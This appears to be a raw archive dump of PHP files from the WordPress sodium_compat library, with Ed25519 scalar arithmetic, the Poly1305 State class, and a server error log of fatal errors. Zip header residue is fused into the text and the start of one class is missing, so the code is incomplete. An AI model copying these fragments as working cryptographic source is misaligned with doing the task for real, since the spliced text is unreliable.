ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($s, 60, 4)) >> 3)); $s11 = $s11->addInt64($s23->mulInt(666643, 20)); $s12 = $s12->addInt64($s23->mulInt(470296, 19)); $s13 = $s13->addInt64($s23->mulInt(654183, 20)); $s14 = $s14->subInt64($s23->mulInt(997805, 20)); $s15 = $s15->addInt64($s23->mulInt(136657, 18)); $s16 = $s16->subInt64($s23->mulInt(683901, 20)); $s10 = $s10->addInt64($s22->mulInt(666643, 20)); $s11 = $s11->addInt64($s22->mulInt(470296, 19)); $s12 = $s12->addInt64($s22->mulInt(654183, 20)); $s13 = $s13->subInt64($s22->mulInt(997805, 20)); $s14 = $s14->addInt64($s22->mulInt(136657, 18)); $s15 = $s15->subInt64($s22->mulInt(683901, 20)); $s9 = $s9->addInt64($s21->mulInt(666643, 20)); $s10 = $s10->addInt64($s21->mulInt(470296, 19)); $s11 = $s11->addInt64($s21->mulInt(654183, 20)); $s12 = $s12->subInt64($s21->mulInt(997805, 20)); $s13 = $s13->addInt64($s21->mulInt(136657, 18)); $s14 = $s14->subInt64($s21->mulInt(683901, 20)); $s8 = $s8->addInt64($s20->mulInt(666643, 20)); $s9 = $s9->addInt64($s20->mulInt(470296, 19)); $s10 = $s10->addInt64($s20->mulInt(654183, 20)); $s11 = $s11->subInt64($s20->mulInt(997805, 20)); $s12 = $s12->addInt64($s20->mulInt(136657, 18)); $s13 = $s13->subInt64($s20->mulInt(683901, 20)); $s7 = $s7->addInt64($s19->mulInt(666643, 20)); $s8 = $s8->addInt64($s19->mulInt(470296, 19)); $s9 = $s9->addInt64($s19->mulInt(654183, 20)); $s10 = $s10->subInt64($s19->mulInt(997805, 20)); $s11 = $s11->addInt64($s19->mulInt(136657, 18)); $s12 = $s12->subInt64($s19->mulInt(683901, 20)); $s6 = $s6->addInt64($s18->mulInt(666643, 20)); $s7 = $s7->addInt64($s18->mulInt(470296, 19)); $s8 = $s8->addInt64($s18->mulInt(654183, 20)); $s9 = $s9->subInt64($s18->mulInt(997805, 20)); $s10 = $s10->addInt64($s18->mulInt(136657, 18)); $s11 = $s11->subInt64($s18->mulInt(683901, 20)); $carry6 = $s6->addInt(1 << 20)->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry8 = $s8->addInt(1 << 20)->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry10 = $s10->addInt(1 << 20)->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry12 = $s12->addInt(1 << 20)->shiftRight(21); $s13 = $s13->addInt64($carry12); $s12 = $s12->subInt64($carry12->shiftLeft(21)); $carry14 = $s14->addInt(1 << 20)->shiftRight(21); $s15 = $s15->addInt64($carry14); $s14 = $s14->subInt64($carry14->shiftLeft(21)); $carry16 = $s16->addInt(1 << 20)->shiftRight(21); $s17 = $s17->addInt64($carry16); $s16 = $s16->subInt64($carry16->shiftLeft(21)); $carry7 = $s7->addInt(1 << 20)->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry9 = $s9->addInt(1 << 20)->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry11 = $s11->addInt(1 << 20)->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $carry13 = $s13->addInt(1 << 20)->shiftRight(21); $s14 = $s14->addInt64($carry13); $s13 = $s13->subInt64($carry13->shiftLeft(21)); $carry15 = $s15->addInt(1 << 20)->shiftRight(21); $s16 = $s16->addInt64($carry15); $s15 = $s15->subInt64($carry15->shiftLeft(21)); $s5 = $s5->addInt64($s17->mulInt(666643, 20)); $s6 = $s6->addInt64($s17->mulInt(470296, 19)); $s7 = $s7->addInt64($s17->mulInt(654183, 20)); $s8 = $s8->subInt64($s17->mulInt(997805, 20)); $s9 = $s9->addInt64($s17->mulInt(136657, 18)); $s10 = $s10->subInt64($s17->mulInt(683901, 20)); $s4 = $s4->addInt64($s16->mulInt(666643, 20)); $s5 = $s5->addInt64($s16->mulInt(470296, 19)); $s6 = $s6->addInt64($s16->mulInt(654183, 20)); $s7 = $s7->subInt64($s16->mulInt(997805, 20)); $s8 = $s8->addInt64($s16->mulInt(136657, 18)); $s9 = $s9->subInt64($s16->mulInt(683901, 20)); $s3 = $s3->addInt64($s15->mulInt(666643, 20)); $s4 = $s4->addInt64($s15->mulInt(470296, 19)); $s5 = $s5->addInt64($s15->mulInt(654183, 20)); $s6 = $s6->subInt64($s15->mulInt(997805, 20)); $s7 = $s7->addInt64($s15->mulInt(136657, 18)); $s8 = $s8->subInt64($s15->mulInt(683901, 20)); $s2 = $s2->addInt64($s14->mulInt(666643, 20)); $s3 = $s3->addInt64($s14->mulInt(470296, 19)); $s4 = $s4->addInt64($s14->mulInt(654183, 20)); $s5 = $s5->subInt64($s14->mulInt(997805, 20)); $s6 = $s6->addInt64($s14->mulInt(136657, 18)); $s7 = $s7->subInt64($s14->mulInt(683901, 20)); $s1 = $s1->addInt64($s13->mulInt(666643, 20)); $s2 = $s2->addInt64($s13->mulInt(470296, 19)); $s3 = $s3->addInt64($s13->mulInt(654183, 20)); $s4 = $s4->subInt64($s13->mulInt(997805, 20)); $s5 = $s5->addInt64($s13->mulInt(136657, 18)); $s6 = $s6->subInt64($s13->mulInt(683901, 20)); $s0 = $s0->addInt64($s12->mulInt(666643, 20)); $s1 = $s1->addInt64($s12->mulInt(470296, 19)); $s2 = $s2->addInt64($s12->mulInt(654183, 20)); $s3 = $s3->subInt64($s12->mulInt(997805, 20)); $s4 = $s4->addInt64($s12->mulInt(136657, 18)); $s5 = $s5->subInt64($s12->mulInt(683901, 20)); $s12 = new ParagonIE_Sodium_Core32_Int64(); $carry0 = $s0->addInt(1 << 20)->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry2 = $s2->addInt(1 << 20)->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry4 = $s4->addInt(1 << 20)->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry6 = $s6->addInt(1 << 20)->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry8 = $s8->addInt(1 << 20)->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry10 = $s10->addInt(1 << 20)->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry1 = $s1->addInt(1 << 20)->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry3 = $s3->addInt(1 << 20)->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry5 = $s5->addInt(1 << 20)->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry7 = $s7->addInt(1 << 20)->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry9 = $s9->addInt(1 << 20)->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry11 = $s11->addInt(1 << 20)->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $s0 = $s0->addInt64($s12->mulInt(666643, 20)); $s1 = $s1->addInt64($s12->mulInt(470296, 19)); $s2 = $s2->addInt64($s12->mulInt(654183, 20)); $s3 = $s3->subInt64($s12->mulInt(997805, 20)); $s4 = $s4->addInt64($s12->mulInt(136657, 18)); $s5 = $s5->subInt64($s12->mulInt(683901, 20)); $s12 = new ParagonIE_Sodium_Core32_Int64(); $carry0 = $s0->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry1 = $s1->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry2 = $s2->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry3 = $s3->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry4 = $s4->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry5 = $s5->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry6 = $s6->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry7 = $s7->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry8 = $s8->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry9 = $s9->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry10 = $s10->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry11 = $s11->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $s0 = $s0->addInt64($s12->mulInt(666643, 20)); $s1 = $s1->addInt64($s12->mulInt(470296, 19)); $s2 = $s2->addInt64($s12->mulInt(654183, 20)); $s3 = $s3->subInt64($s12->mulInt(997805, 20)); $s4 = $s4->addInt64($s12->mulInt(136657, 18)); $s5 = $s5->subInt64($s12->mulInt(683901, 20)); $carry0 = $s0->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry1 = $s1->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry2 = $s2->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry3 = $s3->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry4 = $s4->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry5 = $s5->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry6 = $s6->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry7 = $s7->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry8 = $s8->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry9 = $s9->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry10 = $s10->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $S0 = $s0->toInt32()->toInt(); $S1 = $s1->toInt32()->toInt(); $S2 = $s2->toInt32()->toInt(); $S3 = $s3->toInt32()->toInt(); $S4 = $s4->toInt32()->toInt(); $S5 = $s5->toInt32()->toInt(); $S6 = $s6->toInt32()->toInt(); $S7 = $s7->toInt32()->toInt(); $S8 = $s8->toInt32()->toInt(); $S9 = $s9->toInt32()->toInt(); $S10 = $s10->toInt32()->toInt(); $S11 = $s11->toInt32()->toInt(); /** * @var array */ $arr = array( (int) ($S0 >> 0), (int) ($S0 >> 8), (int) (($S0 >> 16) | ($S1 << 5)), (int) ($S1 >> 3), (int) ($S1 >> 11), (int) (($S1 >> 19) | ($S2 << 2)), (int) ($S2 >> 6), (int) (($S2 >> 14) | ($S3 << 7)), (int) ($S3 >> 1), (int) ($S3 >> 9), (int) (($S3 >> 17) | ($S4 << 4)), (int) ($S4 >> 4), (int) ($S4 >> 12), (int) (($S4 >> 20) | ($S5 << 1)), (int) ($S5 >> 7), (int) (($S5 >> 15) | ($S6 << 6)), (int) ($S6 >> 2), (int) ($S6 >> 10), (int) (($S6 >> 18) | ($S7 << 3)), (int) ($S7 >> 5), (int) ($S7 >> 13), (int) ($S8 >> 0), (int) ($S8 >> 8), (int) (($S8 >> 16) | ($S9 << 5)), (int) ($S9 >> 3), (int) ($S9 >> 11), (int) (($S9 >> 19) | ($S10 << 2)), (int) ($S10 >> 6), (int) (($S10 >> 14) | ($S11 << 7)), (int) ($S11 >> 1), (int) ($S11 >> 9), (int) $S11 >> 17 ); return self::intArrayToString($arr); } /** * multiply by the order of the main subgroup l = 2^252+27742317777372353535851937790883648493 * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError */ public static function ge_mul_l(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A) { $aslide = array( 13, 0, 0, 0, 0, -1, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, -5, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 11, 0, 0, 0, 0, 0, 11, 0, 0, 0, 0, -13, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 3, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, 0, 15, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 7, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1 ); /** @var array $Ai size 8 */ $Ai = array(); # ge_p3_to_cached(&Ai[0], A); $Ai[0] = self::ge_p3_to_cached($A); # ge_p3_dbl(&t, A); $t = self::ge_p3_dbl($A); # ge_p1p1_to_p3(&A2, &t); $A2 = self::ge_p1p1_to_p3($t); for ($i = 1; $i < 8; ++$i) { # ge_add(&t, &A2, &Ai[0]); $t = self::ge_add($A2, $Ai[$i - 1]); # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_p3_to_cached(&Ai[i], &u); $Ai[$i] = self::ge_p3_to_cached($u); } $r = self::ge_p3_0(); for ($i = 252; $i >= 0; --$i) { $t = self::ge_p3_dbl($r); if ($aslide[$i] > 0) { # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_add(&t, &u, &Ai[aslide[i] / 2]); $t = self::ge_add($u, $Ai[(int)($aslide[$i] / 2)]); } elseif ($aslide[$i] < 0) { # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_sub(&t, &u, &Ai[(-aslide[i]) / 2]); $t = self::ge_sub($u, $Ai[(int)(-$aslide[$i] / 2)]); } } # ge_p1p1_to_p3(r, &t); return self::ge_p1p1_to_p3($t); } } PK!X]>]>src/Core32/Poly1305/State.phpnu[ */ protected $buffer = array(); /** * @var bool */ protected $final = false; /** * @var array */ public $h; /** * @var int */ protected $leftover = 0; /** * @var array */ public $r; /** * @var array */ public $pad; /** * ParagonIE_Sodium_Core32_Poly1305_State constructor. * * @internal You should not use this directly from another application * * @param string $key * @throws InvalidArgumentException * @throws SodiumException * @throws TypeError */ public function __construct($key = '') { if (self::strlen($key) < 32) { throw new InvalidArgumentException( 'Poly1305 requires a 32-byte key' ); } /* r &= 0xffffffc0ffffffc0ffffffc0fffffff */ $this->r = array( // st->r[0] = ... ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 0, 4)) ->setUnsignedInt(true) ->mask(0x3ffffff), // st->r[1] = ... ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 3, 4)) ->setUnsignedInt(true) ->shiftRight(2) ->mask(0x3ffff03), // st->r[2] = ... ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 6, 4)) ->setUnsignedInt(true) ->shiftRight(4) ->mask(0x3ffc0ff), // st->r[3] = ... ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 9, 4)) ->setUnsignedInt(true) ->shiftRight(6) ->mask(0x3f03fff), // st->r[4] = ... ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 12, 4)) ->setUnsignedInt(true) ->shiftRight(8) ->mask(0x00fffff) ); /* h = 0 */ $this->h = array( new ParagonIE_Sodium_Core32_Int32(array(0, 0), true), new ParagonIE_Sodium_Core32_Int32(array(0, 0), true), new ParagonIE_Sodium_Core32_Int32(array(0, 0), true), new ParagonIE_Sodium_Core32_Int32(array(0, 0), true), new ParagonIE_Sodium_Core32_Int32(array(0, 0), true) ); /* save pad for later */ $this->pad = array( ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 16, 4)) ->setUnsignedInt(true)->toInt64(), ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 20, 4)) ->setUnsignedInt(true)->toInt64(), ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 24, 4)) ->setUnsignedInt(true)->toInt64(), ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 28, 4)) ->setUnsignedInt(true)->toInt64(), ); $this->leftover = 0; $this->final = false; } /** * @internal You should not use this directly from another application * * @param string $message * @return self * @throws SodiumException * @throws TypeError */ public function update($message = '') { $bytes = self::strlen($message); /* handle leftover */ if ($this->leftover) { /** @var int $want */ $want = ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE - $this->leftover; if ($want > $bytes) { $want = $bytes; } for ($i = 0; $i < $want; ++$i) { $mi = self::chrToInt($message[$i]); $this->buffer[$this->leftover + $i] = $mi; } // We snip off the leftmost bytes. $message = self::substr($message, $want); $bytes = self::strlen($message); $this->leftover += $want; if ($this->leftover < ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) { // We still don't have enough to run $this->blocks() return $this; } $this->blocks( self::intArrayToString($this->buffer), ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE ); $this->leftover = 0; } /* process full blocks */ if ($bytes >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) { /** @var int $want */ $want = $bytes & ~(ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE - 1); if ($want >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) { /** @var string $block */ $block = self::substr($message, 0, $want); if (self::strlen($block) >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) { $this->blocks($block, $want); $message = self::substr($message, $want); $bytes = self::strlen($message); } } } /* store leftover */ if ($bytes) { for ($i = 0; $i < $bytes; ++$i) { $mi = self::chrToInt($message[$i]); $this->buffer[$this->leftover + $i] = $mi; } $this->leftover = (int) $this->leftover + $bytes; } return $this; } /** * @internal You should not use this directly from another application * * @param string $message * @param int $bytes * @return self * @throws SodiumException * @throws TypeError */ public function blocks($message, $bytes) { if (self::strlen($message) < 16) { $message = str_pad($message, 16, "\x00", STR_PAD_RIGHT); } $hibit = ParagonIE_Sodium_Core32_Int32::fromInt((int) ($this->final ? 0 : 1 << 24)); /* 1 << 128 */ $hibit->setUnsignedInt(true); $zero = new ParagonIE_Sodium_Core32_Int64(array(0, 0, 0, 0), true); /** * @var ParagonIE_Sodium_Core32_Int64 $d0 * @var ParagonIE_Sodium_Core32_Int64 $d1 * @var ParagonIE_Sodium_Core32_Int64 $d2 * @var ParagonIE_Sodium_Core32_Int64 $d3 * @var ParagonIE_Sodium_Core32_Int64 $d4 * @var ParagonIE_Sodium_Core32_Int64 $r0 * @var ParagonIE_Sodium_Core32_Int64 $r1 * @var ParagonIE_Sodium_Core32_Int64 $r2 * @var ParagonIE_Sodium_Core32_Int64 $r3 * @var ParagonIE_Sodium_Core32_Int64 $r4 * * @var ParagonIE_Sodium_Core32_Int32 $h0 * @var ParagonIE_Sodium_Core32_Int32 $h1 * @var ParagonIE_Sodium_Core32_Int32 $h2 * @var ParagonIE_Sodium_Core32_Int32 $h3 * @var ParagonIE_Sodium_Core32_Int32 $h4 */ $r0 = $this->r[0]->toInt64(); $r1 = $this->r[1]->toInt64(); $r2 = $this->r[2]->toInt64(); $r3 = $this->r[3]->toInt64(); $r4 = $this->r[4]->toInt64(); $s1 = $r1->toInt64()->mulInt(5, 3); $s2 = $r2->toInt64()->mulInt(5, 3); $s3 = $r3->toInt64()->mulInt(5, 3); $s4 = $r4->toInt64()->mulInt(5, 3); $h0 = $this->h[0]; $h1 = $this->h[1]; $h2 = $this->h[2]; $h3 = $this->h[3]; $h4 = $this->h[4]; while ($bytes >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) { /* h += m[i] */ $h0 = $h0->addInt32( ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 0, 4)) ->mask(0x3ffffff) )->toInt64(); $h1 = $h1->addInt32( ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 3, 4)) ->shiftRight(2) ->mask(0x3ffffff) )->toInt64(); $h2 = $h2->addInt32( ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 6, 4)) ->shiftRight(4) ->mask(0x3ffffff) )->toInt64(); $h3 = $h3->addInt32( ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 9, 4)) ->shiftRight(6) ->mask(0x3ffffff) )->toInt64(); $h4 = $h4->addInt32( ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 12, 4)) ->shiftRight(8) ->orInt32($hibit) )->toInt64(); /* h *= r */ $d0 = $zero ->addInt64($h0->mulInt64($r0, 27)) ->addInt64($s4->mulInt64($h1, 27)) ->addInt64($s3->mulInt64($h2, 27)) ->addInt64($s2->mulInt64($h3, 27)) ->addInt64($s1->mulInt64($h4, 27)); $d1 = $zero ->addInt64($h0->mulInt64($r1, 27)) ->addInt64($h1->mulInt64($r0, 27)) ->addInt64($s4->mulInt64($h2, 27)) ->addInt64($s3->mulInt64($h3, 27)) ->addInt64($s2->mulInt64($h4, 27)); $d2 = $zero ->addInt64($h0->mulInt64($r2, 27)) ->addInt64($h1->mulInt64($r1, 27)) ->addInt64($h2->mulInt64($r0, 27)) ->addInt64($s4->mulInt64($h3, 27)) ->addInt64($s3->mulInt64($h4, 27)); $d3 = $zero ->addInt64($h0->mulInt64($r3, 27)) ->addInt64($h1->mulInt64($r2, 27)) ->addInt64($h2->mulInt64($r1, 27)) ->addInt64($h3->mulInt64($r0, 27)) ->addInt64($s4->mulInt64($h4, 27)); $d4 = $zero ->addInt64($h0->mulInt64($r4, 27)) ->addInt64($h1->mulInt64($r3, 27)) ->addInt64($h2->mulInt64($r2, 27)) ->addInt64($h3->mulInt64($r1, 27)) ->addInt64($h4->mulInt64($r0, 27)); /* (partial) h %= p */ $c = $d0->shiftRight(26); $h0 = $d0->toInt32()->mask(0x3ffffff); $d1 = $d1->addInt64($c); $c = $d1->shiftRight(26); $h1 = $d1->toInt32()->mask(0x3ffffff); $d2 = $d2->addInt64($c); $c = $d2->shiftRight(26); $h2 = $d2->toInt32()->mask(0x3ffffff); $d3 = $d3->addInt64($c); $c = $d3->shiftRight(26); $h3 = $d3->toInt32()->mask(0x3ffffff); $d4 = $d4->addInt64($c); $c = $d4->shiftRight(26); $h4 = $d4->toInt32()->mask(0x3ffffff); $h0 = $h0->addInt32($c->toInt32()->mulInt(5, 3)); $c = $h0->shiftRight(26); $h0 = $h0->mask(0x3ffffff); $h1 = $h1->addInt32($c); // Chop off the left 32 bytes. $message = self::substr( $message, ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE ); $bytes -= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE; } /** @var array $h */ $this->h = array($h0, $h1, $h2, $h3, $h4); return $this; } /** * @internal You should not use this directly from another application * * @return string * @throws SodiumException * @throws TypeError */ public function finish() { /* process the remaining block */ if ($this->leftover) { $i = $this->leftover; $this->buffer[$i++] = 1; for (; $i < ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE; ++$i) { $this->buffer[$i] = 0; } $this->final = true; $this->blocks( self::substr( self::intArrayToString($this->buffer), 0, ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE ), $b = ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE ); } /** * @var ParagonIE_Sodium_Core32_Int32 $f * @var ParagonIE_Sodium_Core32_Int32 $g0 * @var ParagonIE_Sodium_Core32_Int32 $g1 * @var ParagonIE_Sodium_Core32_Int32 $g2 * @var ParagonIE_Sodium_Core32_Int32 $g3 * @var ParagonIE_Sodium_Core32_Int32 $g4 * @var ParagonIE_Sodium_Core32_Int32 $h0 * @var ParagonIE_Sodium_Core32_Int32 $h1 * @var ParagonIE_Sodium_Core32_Int32 $h2 * @var ParagonIE_Sodium_Core32_Int32 $h3 * @var ParagonIE_Sodium_Core32_Int32 $h4 */ $h0 = $this->h[0]; $h1 = $this->h[1]; $h2 = $this->h[2]; $h3 = $this->h[3]; $h4 = $this->h[4]; $c = $h1->shiftRight(26); # $c = $h1 >> 26; $h1 = $h1->mask(0x3ffffff); # $h1 &= 0x3ffffff; $h2 = $h2->addInt32($c); # $h2 += $c; $c = $h2->shiftRight(26); # $c = $h2 >> 26; $h2 = $h2->mask(0x3ffffff); # $h2 &= 0x3ffffff; $h3 = $h3->addInt32($c); # $h3 += $c; $c = $h3->shiftRight(26); # $c = $h3 >> 26; $h3 = $h3->mask(0x3ffffff); # $h3 &= 0x3ffffff; $h4 = $h4->addInt32($c); # $h4 += $c; $c = $h4->shiftRight(26); # $c = $h4 >> 26; $h4 = $h4->mask(0x3ffffff); # $h4 &= 0x3ffffff; $h0 = $h0->addInt32($c->mulInt(5, 3)); # $h0 += self::mul($c, 5); $c = $h0->shiftRight(26); # $c = $h0 >> 26; $h0 = $h0->mask(0x3ffffff); # $h0 &= 0x3ffffff; $h1 = $h1->addInt32($c); # $h1 += $c; /* compute h + -p */ $g0 = $h0->addInt(5); $c = $g0->shiftRight(26); $g0 = $g0->mask(0x3ffffff); $g1 = $h1->addInt32($c); $c = $g1->shiftRight(26); $g1 = $g1->mask(0x3ffffff); $g2 = $h2->addInt32($c); $c = $g2->shiftRight(26); $g2 = $g2->mask(0x3ffffff); $g3 = $h3->addInt32($c); $c = $g3->shiftRight(26); $g3 = $g3->mask(0x3ffffff); $g4 = $h4->addInt32($c)->subInt(1 << 26); # $mask = ($g4 >> 31) - 1; /* select h if h < p, or h + -p if h >= p */ $mask = (int) (($g4->toInt() >> 31) + 1); $g0 = $g0->mask($mask); $g1 = $g1->mask($mask); $g2 = $g2->mask($mask); $g3 = $g3->mask($mask); $g4 = $g4->mask($mask); /** @var int $mask */ $mask = ~$mask; $h0 = $h0->mask($mask)->orInt32($g0); $h1 = $h1->mask($mask)->orInt32($g1); $h2 = $h2->mask($mask)->orInt32($g2); $h3 = $h3->mask($mask)->orInt32($g3); $h4 = $h4->mask($mask)->orInt32($g4); /* h = h % (2^128) */ $h0 = $h0->orInt32($h1->shiftLeft(26)); $h1 = $h1->shiftRight(6)->orInt32($h2->shiftLeft(20)); $h2 = $h2->shiftRight(12)->orInt32($h3->shiftLeft(14)); $h3 = $h3->shiftRight(18)->orInt32($h4->shiftLeft(8)); /* mac = (h + pad) % (2^128) */ $f = $h0->toInt64()->addInt64($this->pad[0]); $h0 = $f->toInt32(); $f = $h1->toInt64()->addInt64($this->pad[1])->addInt($h0->overflow); $h1 = $f->toInt32(); $f = $h2->toInt64()->addInt64($this->pad[2])->addInt($h1->overflow); $h2 = $f->toInt32(); $f = $h3->toInt64()->addInt64($this->pad[3])->addInt($h2->overflow); $h3 = $f->toInt32(); return $h0->toReverseString() . $h1->toReverseString() . $h2->toReverseString() . $h3->toReverseString(); } } PK!vsrc/Core32/Poly1305/error_lognu[[04-Sep-2026 13:28:01 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10 [04-Sep-2026 13:40:27 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10 [10-Sep-2026 11:06:06 UTC] PHP Fatal error: Uncaught Error: Class 